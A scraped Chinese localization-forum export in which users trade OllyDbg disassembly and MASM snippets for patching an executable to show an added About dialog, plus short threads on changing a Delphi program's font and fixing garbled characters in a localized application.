&amp;nbsp; Pe_optim.004064E0&amp;nbsp;&amp;nbsp;0040B373&amp;nbsp; &amp;nbsp; EB 05&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;jmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;short Pe_optim.0040B37A&amp;nbsp;&amp;nbsp;0040B375&amp;nbsp; &amp;nbsp; E8 8EB2FFFF&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;call&amp;nbsp; &amp;nbsp; Pe_optim.00406608&amp;nbsp;&amp;nbsp;0040B37A&amp;nbsp; &amp;nbsp; 8BC6&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;eax, esi&amp;nbsp;&amp;nbsp;0040B37C&amp;nbsp; &amp;nbsp; 5E&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;esi&amp;nbsp;&amp;nbsp;0040B37D&amp;nbsp; &amp;nbsp; 5B&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx&amp;nbsp;&amp;nbsp;0040B37E&amp;nbsp; &amp;nbsp; 5D&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;pop&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;注1：0040B346&amp;nbsp;&amp;nbsp;^ 0F85 63B3FFFF&amp;nbsp; &amp;nbsp;jnz&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Pe_optim.004066AF&amp;nbsp;&amp;nbsp;这一句要掉转到下一个比较&amp;nbsp;&amp;nbsp;004066AF&amp;nbsp; &amp;nbsp;|81FB F5010000&amp;nbsp; &amp;nbsp;cmp&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;ebx, 1F5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;然后就是保存代码，测试程序，终于，我们添加的对话框显示出来了。&amp;nbsp;&amp;nbsp;没什么技术含量，请不要转载。&amp;nbsp;&amp;nbsp;--------------------------------------------------------------------------------【经验总结】&amp;nbsp;&amp;nbsp;只是尝试用一种另类的方法给exe文件加一个对话框，没有什么技术含量，希望那位高手能做一个全自动的工具，那才是我 等所期待的。&amp;nbsp;&amp;nbsp;--------------------------------------------------------------------------------【版权声明】: 本文原创于一蓑烟雨技术论坛, 转载请注明作者并保持文章的完整, 谢谢!&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; 2006年06月08日 16:18:37

做一些改进，将最后一段代码改为以下的，通用性及独立性增强了一些。0040B333 81FB F6010000 cmp ebx, 1F60040B339 75 05 jnz short Pe_optim.0040B3400040B33B E8 F8AFFFFF call Pe_optim.004063380040B340 81FB F9010000 cmp ebx, 1F90040B346 ^ 0F85 63B3FFFF jnz Pe_optim.004066AF0040B34C 6A 00 push 00040B34E 68 6EB34000 push Pe_optim.0040B36E ---------响应关闭、最大化、最小化0040B353 8B45 08 mov eax, [ebp+8]0040B356 50 push eax0040B357 6A 67 push 670040B359 A1 DC844000 mov eax, [4084DC]0040B35E 50 push eax0040B35F E8 D492FFFF call &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;0040B364 8BC6 mov eax, esi0040B366 5E pop esi0040B367 5B pop ebx0040B368 5D pop ebp0040B369 C2 1000 retn 100040B36C 0000 add [eax], al------------无用代码0040B36E 55 push ebp --------------从这里到代码结束，完成对话框的关闭、最大化、最小化响应功能0040B36F 8BEC mov ebp, esp0040B371 53 push ebx0040B372 8B45 0C mov eax, [ebp+C]0040B375 33DB xor ebx, ebx0040B377 83F8 02 cmp eax, 20040B37A 74 0C je short Pe_optim.0040B3880040B37C 83F8 10 cmp eax, 100040B37F 74 07 je short Pe_optim.0040B3880040B381 3D 11010000 cmp eax, 1110040B386 75 0B jnz short Pe_optim.0040B3930040B388 6A 00 push 00040B38A 8B45 08 mov eax, [ebp+8]0040B38D 50 push eax0040B38E E8 AD92FFFF call &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;0040B393 8BC3 mov eax, ebx0040B395 5B pop ebx0040B396 5D pop ebp0040B397 C2 1000 retn 10
增加已个添加资源的动画：
再次优化：去了几行不大相关的响应代码所有代码基本与关于窗口没有关系，以下代码可以独立完成打开和关闭对话框操作。0040B333  81FB F6010000 cmp ebx, 1F60040B339 75 05 jnz short  Pe_optim.0040B3400040B33B E8 F8AFFFFF call Pe_optim.004063380040B340  81FB F9010000 cmp ebx, 1F90040B346 ^ 0F85 63B3FFFF jnz  Pe_optim.004066AF0040B34C 6A 00 push 00040B34E 68 6EB34000 push  Pe_optim.0040B36E ------调用关闭、最大化、最小化响应代码：以下红色部分0040B353 8B45 08 mov eax,  [ebp+8]0040B356 50 push eax0040B357 6A 67 push 670040B359 A1  DC844000 mov eax, [4084DC] ----4084DC 可以是任意一个未占用的地址0040B35E 50 push  eax0040B35F E8 D492FFFF call &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;  0040B364 8BC6 mov eax, esi0040B366 5E pop esi0040B367 5B pop  ebx0040B368 5D pop ebp0040B369 C2 1000 retn 100040B36C 0000 add  [eax], al ------------无用代码，区隔一下0040B36E 55 push ebp0040B36F 8BEC mov ebp,  esp0040B371 53 push ebx0040B372 8B45 0C mov eax, [ebp+C]0040B375  33DB xor ebx, ebx0040B377 3D 11010000 cmp eax, 1110040B37C 75 0B jnz  short Pe_optim.0040B3890040B37E 6A 00 push 00040B380 8B45 08 mov eax,  [ebp+8]0040B383 50 push eax0040B384 E8 B792FFFF call  &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;0040B389 8BC3 mov eax, ebx0040B38B 5B  pop ebx0040B38C 5D pop ebp0040B38D C2 1000 retn 10其中call  &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt; call  &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;这两个函数，一般的程序都会有，在 所有模块间的调用  中可找到，直接借用即可。
其实我以前的那篇加对话框的文章也是类似的,只不过我利用了原软件关于对话框的响应函数.那样更简单一些.至于响应函数,我也优化了个版本,似乎更简洁一些. 8B4424 08 MOV  EAX,DWORD PTR SS:[ESP+8]. 3D 11010000 CMP EAX,111. 75 07 JNZ SHORT  uselib.00401039. 837C24 0C 01 CMP DWORD PTR SS:[ESP+C],1. 74 05 JE SHORT  uselib.0040103E&amp;gt; 83F8 10 CMP EAX,10. 75 0B JNZ SHORT  uselib.00401049&amp;gt; 6A 00 PUSH 0 . FF7424 08 PUSH DWORD PTR SS:[ESP+8]  . E8 11000000 CALL &amp;lt;JMP.&amp;amp;user32.EndDialog&amp;gt; &amp;gt; 33C0 XOR  EAX,EAX. C2 1000 RETN  10在你的功能基础上还加了个id是1的按钮代码^^如果不要按钮了代码就是:8B4424 08 MOV EAX,DWORD PTR  SS:[ESP+8]83F8 10 CMP EAX,1075 0B JNZ SHORT uselib.0040103B6A 00  PUSH 0 FF7424 08 PUSH DWORD PTR SS:[ESP+8] E8 11000000 CALL  &amp;lt;JMP.&amp;amp;user32.EndDialog&amp;gt; 33C0 XOR EAX,EAXC2 1000 RETN  10还有,就是你的调用DialogBoxParam函数的代码也有些冗长不就是那5个参数么push 0push  [Dlg] ;响应函数地址push 0push 101 ;对话框IDpush 400000hcall  DialogBoxParam这种代码我一般是先用ASM写,然后参考反汇编代码,下面就是我最终的实验代码(MASM汇编通过):.386.model  flat, stdcall ;32 bit memory modeloption casemap :none ;case  sensitiveinclude user32.incincludelib  user32.lib.codestart:push 0push [Dlg]push 0push  101push 400000hcall DialogBoxParamret 0Dlg: cmp dword ptr  [esp+8],10hjne a1invoke EndDialog,dword ptr [esp+8],0a1: xor  eax,eaxret 16end start
试了一下效果，不错，但是出现一个问题，创建的对话框看不到背景，也看不到边框，只有一个ID为1的关闭按钮，如果添加了其他控件是可以看到的。0040B333  81FB F6010000 cmp ebx, 1F60040B339 75 05 jnz short  Pe_optim.0040B3400040B33B E8 F8AFFFFF call Pe_optim.004063380040B340  81FB F9010000 cmp ebx, 1F90040B346 ^ 0F85 63B3FFFF jnz  Pe_optim.004066AF0040B34C 6A 00 push 00040B34E 68 84B34000 push  Pe_optim.0040B3840040B353 8B45 08 mov eax, [ebp+8]0040B356 50 push  eax0040B357 6A 67 push 670040B359 A1 DC844000 mov eax,  [4084DC]0040B35E 50 push eax0040B35F E8 D492FFFF call  &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;0040B364 EB 14 jmp short  Pe_optim.0040B37A0040B366 8B45 08 mov eax, [ebp+8]0040B369 A3 E0844000  mov [4084E0], eax0040B36E E8 6DB1FFFF call Pe_optim.004064E00040B373 EB  05 jmp short Pe_optim.0040B37A0040B375 E8 8EB2FFFF call  Pe_optim.004066080040B37A 8BC6 mov eax, esi0040B37C 5E pop  esi0040B37D 5B pop ebx0040B37E 5D pop ebp0040B37F C2 1000 retn  100040B382 0000 add [eax], al0040B384 8B4424 08 mov eax, [esp+8]0040B388  3D 11010000 cmp eax, 1110040B38D 75 19 jnz short  Pe_optim.0040B3A80040B38F 837C24 0C 01 cmp dword ptr [esp+C], 10040B394  74 05 je short Pe_optim.0040B39B0040B396 83F8 10 cmp eax, 100040B399 75  00 jnz short Pe_optim.0040B39B0040B39B 6A 00 push 00040B39D FF7424 08  push dword ptr [esp+8]0040B3A1 E8 9A92FFFF call  &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;0040B3A6 33C0 xor eax, eax0040B3A8 C2  1000 retn 10



    
        
            jnz short Pe_optim.0040B3A8
        
    


这句不对,应该跳到0040B396你的用跟我的不一样把,仔细看看函数必须返回0才成,那句XOR  EAX,EAX就是这个作用我的是. 75 07 JNZ SHORT uselib.00401039你的是0040B38D 75  19 jnz short Pe_optim.0040B3A8跳到最后了,估计连关闭按钮都不管用了我改的一个例子00400350 3D 75270000 CMP EAX,277500400355 75 05 JNZ SHORT  AddMenu.0040035C00400357 -E9 F60D0000 JMP AddMenu.004011520040035C 3D  76270000 CMP EAX,277600400361 -0F85 340E0000 JNZ  AddMenu.0040119B00400367 6A 00 PUSH 000400369 68 90034000 PUSH  AddMenu.004003900040036E 6A 00 PUSH 000400370 68 E9030000 PUSH  3E900400375 68 00004000 PUSH AddMenu.004000000040037A E8 350E0000 CALL  &amp;lt;JMP.&amp;amp;user32.DialogBoxParamA&amp;gt;0040037F -E9 170E0000 JMP  AddMenu.0040119B00400390 8B4424 08 MOV EAX,DWORD PTR  SS:[ESP+8]00400394 3D 11010000 CMP EAX,11100400399 75 07 JNZ SHORT  AddMenu.004003A20040039B 837C24 0C 01 CMP DWORD PTR SS:[ESP+C],1004003A0  74 05 JE SHORT AddMenu.004003A7004003A2 83F8 10 CMP EAX,10004003A5 75 0B  JNZ SHORT AddMenu.004003B2004003A7 6A 00 PUSH 0004003A9 FF7424 08 PUSH  DWORD PTR SS:[ESP+8]004003AD E8 0E0E0000 CALL  &amp;lt;JMP.&amp;amp;user32.EndDialog&amp;gt;004003B2 33C0 XOR EAX,EAX004003B4 C2  1000 RETN 10老兄这段代码应该是最经典的了，其他代码都理解了，希望老兄解释这一句，在此起什么作用，刚刚学asm，所以希望前辈多多指点：00400375 68  00004000 PUSH AddMenu.00400000根据雅枫前辈的指导，最终优化代码为：对菜单的响应有点不太懂，不知能否和按钮的判断一起判断ID？0040B346 ^ 0F85  63B3FFFF jnz Pe_optim.004066AF0040B34C 6A 00 push 00040B34E 68 84B34000  push Pe_optim.0040B3840040B353 8B45 08 mov eax, [ebp+8]0040B356 50 push  eax0040B357 6A 67 push 670040B359 68 00004000 push Pe_optim.00400000 ;  ASCII &amp;quot;MZP&amp;quot;0040B35E E8 D592FFFF call  &amp;lt;jmp.&amp;amp;USER32.DialogBoxParamA&amp;gt;0040B363 ^ E9 47B3FFFF jmp  Pe_optim.004066AF...................0040B384 8B4424 08 mov eax,  [esp+8]0040B388 3D 11010000 cmp eax, 1110040B38D 75 17 jnz short  Pe_optim.0040B3A60040B38F 837C24 0C 01 cmp dword ptr [esp+C], 10040B394  74 05 je short Pe_optim.0040B39B0040B396 83F8 10 cmp eax, 100040B399 75  00 jnz short Pe_optim.0040B39B0040B39B 6A 00 push 00040B39D FF7424 08  push dword ptr [esp+8]0040B3A1 E8 9A92FFFF call  &amp;lt;jmp.&amp;amp;USER32.EndDialog&amp;gt;0040B3A6 33C0 xor eax, eax0040B3A8 C2  1000 retn 10

    
        
            00400375 68 00004000 PUSH AddMenu.00400000
        
    

这句的作用是压入进程的句柄,也就是GetModuleHandle的返回值,由于一般EXE一般都载入到400000处,所以我直接用这个值代替了,其实这个对话框还有个瑕疵,就是相对于主对话框或者主窗口不是模态对话框,如果要模态,则必须在DialogBoxParamA的第三个参数应该是父窗口的句柄.还有,LZ最后的代码估计还是有一些问题,就是标题栏的关闭按钮应该失去响应了,0040B388  3D 11010000 cmp eax, 1110040B38D 75 17 jnz short  Pe_optim.0040B3A6这句的问题,应改为jnz short  Pe_optim.0040B396给你段代码参考Dlg: cmp dword ptr  [esp+8],WM_COMMANDjne a2cmp dword ptr [esp+12],1 ;按钮IDje a3a2:  cmp dword ptr [esp+8],WM_CLOSEjne a1a3: invoke EndDialog,dword ptr  [esp+8],0a1: xor eax,eaxret  16还有,大家都是兄弟,不要老是前辈啥的,怪不舒服的,我也就二十几岁,还没那么老,呵呵多谢老兄指点，标题中的关闭按钮还可以，0040B38D 75 17 jnz short  Pe_optim.0040B3A6这一句是对的，如果改了，点击按钮便无反应；称您前辈，只是对您的尊敬，没有指您老，希望不要见怪，当然大家都是兄弟，既然老兄不怪，那就直呼兄弟了，对您的指点很是感谢，Thanks！我想像老兄那样从菜单调用关于对话框，不知道cmp  eax ID，的代码应该放在何处？程序传上来了，老兄有时间就帮我看看。呵呵，仔细看了看你的响应代码，发现还是有些问题的，（最明显的就是无论按钮ID是多少，对话框都会关闭）下边的是我调整后的。0040B384&amp;nbsp;&amp;nbsp;  8B4424 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR SS:[ESP+8]&amp;nbsp;&amp;nbsp;/////取出第二个参数，即uMsg0040B388&amp;nbsp;&amp;nbsp;  3D 11010000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP EAX,111//////////////////比较是不是WM_COMMAND0040B38D&amp;nbsp;&amp;nbsp; 75  07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT  Pe_optim.0040B396&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//////如果不是WM_COMMAND,如果不是则转往0040B3960040B38F&amp;nbsp;&amp;nbsp; 837C24  0C 01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CMP DWORD PTR SS:[ESP+C],1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//////如果ID是10040B394&amp;nbsp;&amp;nbsp; 74  05&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JE SHORT Pe_optim.0040B39B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//////则执行EndDialog0040B396&amp;nbsp;&amp;nbsp;  83F8 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP  EAX,10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;////////////////比较是不是WM_CLOSE,即标题栏退出按钮。0040B399&amp;nbsp;&amp;nbsp; 75  0B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT  Pe_optim.0040B3A6////如果是WM_CLOSE，执行EndDialog0040B39B&amp;nbsp;&amp;nbsp; 6A 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH  00040B39D&amp;nbsp;&amp;nbsp; FF7424 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH DWORD PTR SS:[ESP+8]0040B3A1&amp;nbsp;&amp;nbsp; E8  9A92FFFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CALL &amp;lt;JMP.&amp;amp;USER32.EndDialog&amp;gt;0040B3A6&amp;nbsp;&amp;nbsp;  33C0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XOR EAX,EAX0040B3A8&amp;nbsp;&amp;nbsp; C2 1000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RETN  10解释一下消息处理:点击按钮或菜单后，消息循环会向窗口处理函数发送WM_COMMAND消息，消息的wParam则是按钮的id。消息处理函数的原型是WndProc  proc  hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM即点击id为1的按钮后，uMsg是111h(WM_COMMAND)，wParam中的值则为1。点击标题栏的退出按钮后，发送的则是WM_CLOSE消息，即uMsg是10h(WM_CLOSE)而你的响应代码是：0040B384&amp;nbsp;&amp;nbsp;  8B4424 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV EAX,DWORD PTR SS:[ESP+8]0040B388&amp;nbsp;&amp;nbsp; 3D 11010000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP  EAX,111///比较是不是WM_COMMAND0040B38D&amp;nbsp;&amp;nbsp; 75 17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT  Pe_optim.0040B3A6///不是WM_COMMAND则直接退出消息处理0040B38F&amp;nbsp;&amp;nbsp; 837C24 0C 01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CMP  DWORD PTR SS:[ESP+C],1//////如果ID是10040B394&amp;nbsp;&amp;nbsp; 74 05&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JE SHORT  Pe_optim.0040B39B//////则执行EndDialog0040B396&amp;nbsp;&amp;nbsp; 83F8 10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP  EAX,10///id不是1执行这里0040B399&amp;nbsp;&amp;nbsp; 75 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JNZ SHORT  Pe_optim.0040B39B///等于不等于10都执行EndDialog0040B39B&amp;nbsp;&amp;nbsp; 6A 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH  00040B39D&amp;nbsp;&amp;nbsp; FF7424 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH DWORD PTR SS:[ESP+8]0040B3A1&amp;nbsp;&amp;nbsp; E8  9A92FFFF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CALL &amp;lt;JMP.&amp;amp;USER32.EndDialog&amp;gt;0040B3A6&amp;nbsp;&amp;nbsp;  33C0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; XOR EAX,EAX0040B3A8&amp;nbsp;&amp;nbsp; C2 1000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RETN  10也就是说，这段代码只要触发了WM_COMMAND消息，对话框都会退出，因为点击标题栏的退出按钮后，除了发送WM_CLOSE消息后还发送一个id为2的按钮消息（ID_CANCLE），所以你的代码也可以在点击标题栏的退出按钮后，也可以退出对话框。基于这个原理，这个响应代码还可以精简：把WM_CLOSE的判断去掉，把对话框按钮的id改成2即可，代码如下Dlg:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp  dword ptr [esp+8],111h&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jne a1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp dword ptr  [esp+12],2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jne a1a3:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;invoke EndDialog,dword ptr  [esp+8],0a1:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret  16反汇编代码则为：00401016&amp;nbsp;&amp;nbsp; . 817C24 08 11010000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP DWORD PTR  SS:[ESP+8],1110040101E&amp;nbsp;&amp;nbsp; . 75 12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; JNZ SHORT  uselib.0040103200401020&amp;nbsp;&amp;nbsp; . 837C24 0C 02&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CMP DWORD PTR  SS:[ESP+C],200401025&amp;nbsp;&amp;nbsp; . 75 0B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; JNZ SHORT  uselib.0040103200401027&amp;nbsp;&amp;nbsp; . 6A 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PUSH 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;00401029&amp;nbsp;&amp;nbsp; .  FF7424 08&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PUSH DWORD PTR SS:[ESP+8] 0040102D&amp;nbsp;&amp;nbsp; . E8  0C000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CALL &amp;lt;JMP.&amp;amp;user32.EndDialog&amp;gt; 00401032&amp;nbsp;&amp;nbsp; &amp;gt;  33C0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;XOR EAX,EAX00401034&amp;nbsp;&amp;nbsp; . C2 1000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RETN  10这段代码除了可以相应退出标题栏关闭按钮外，还可以响应一个ID为2的按钮。 </text>
<image>http://www.youjoys.cn/uploads/allimg/c110923/131C4101310-13B2_lit.png </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>用OD修改一个Delphi程序的非标字体字号, 做了一个动画 </title>
<link>http://www.youjoys.cn/knowledge/20110923/414.html </link>
<description> </description>
<text>做成了一个动画文件，比较大，大家在我的网络硬盘下载。其实不用你那么复杂，只要用 OD 修改00409A7E |. B9 F5FFFFFF MOV ECX,-0B 行中的 -0B 为 -0C，并用 UE 改  Arial 为宋体即可。下图为修改的结果当然可以，但那样和OD修改没什么不同，况且OD可以一次性查找出所有非标字体，如果你不知道字体名，用UE就等于盲人摸象，OD可能更方便一些，其次，只是为了更易于看懂才做得详细点，其实OD也有二进制编辑功能。当然也可以用点睛的相关工具获得字体名，方法不是唯一的。 </text>
<image>http://www.youjoys.cn/uploads/allimg/c110923/131C41004630-125S_lit.jpg </image>
<keywords>汉化新世纪,--,最专业的汉化原创 </keywords>
<category>编程知识 </category>
<author> </author>
<source> </source>
<pubDate>2011-09-23 09:23 </pubDate>
</item>
<item>
<title>一款软件的乱码处理 - 看二位高手的不同解决方案 </title>
<link>http://www.youjoys.cn/knowledge/20110923/415.html </link>
<description>问题文件 wanfu的问题： 我汉化了一款VC软件，该软件有标准资源和Uncode和ASCII非标字符，我已修改了所有标准资源中的字体和语系为简体中文，但是修改主程序中的ASCII非标字符为简体中文时，结果在验证的列表框中显示乱码。我试图改为UFT-8和Uncode也没有成 </description>
<text>问题文件
wanfu的问题：
我汉化了一款VC软件，该软件有标准资源和Uncode和ASCII非标字符，我已修改了所有标准资源中的字体和语系为简体中文，但是修改主程序中的ASCII非标字符为简体中文时，结果在&amp;ldquo;验证&amp;rdquo;的列表框中显示乱码。我试图改为UFT-8和Uncode也没有成功。试图用OllyDBG修改，只找到与字体设置相关的CreateFontW模块，字符设置 CharSet = DEFAULT_CHARSET 应该不用改。
哪位高手可以帮助我？
文件在此：&amp;nbsp;&amp;nbsp; ( 314.42k ) 下载次数: 20
问题所在
的答复：
你这个是程序的转码问题。比如你汉化的验证列表框中的第一个&amp;ldquo;添加&amp;ldquo;&amp;lt;%s&amp;gt;&amp;rdquo;标记将改变文档&amp;ldquo;%s&amp;rdquo;的格式和/或结构。&amp;rdquo;，ASCII码是
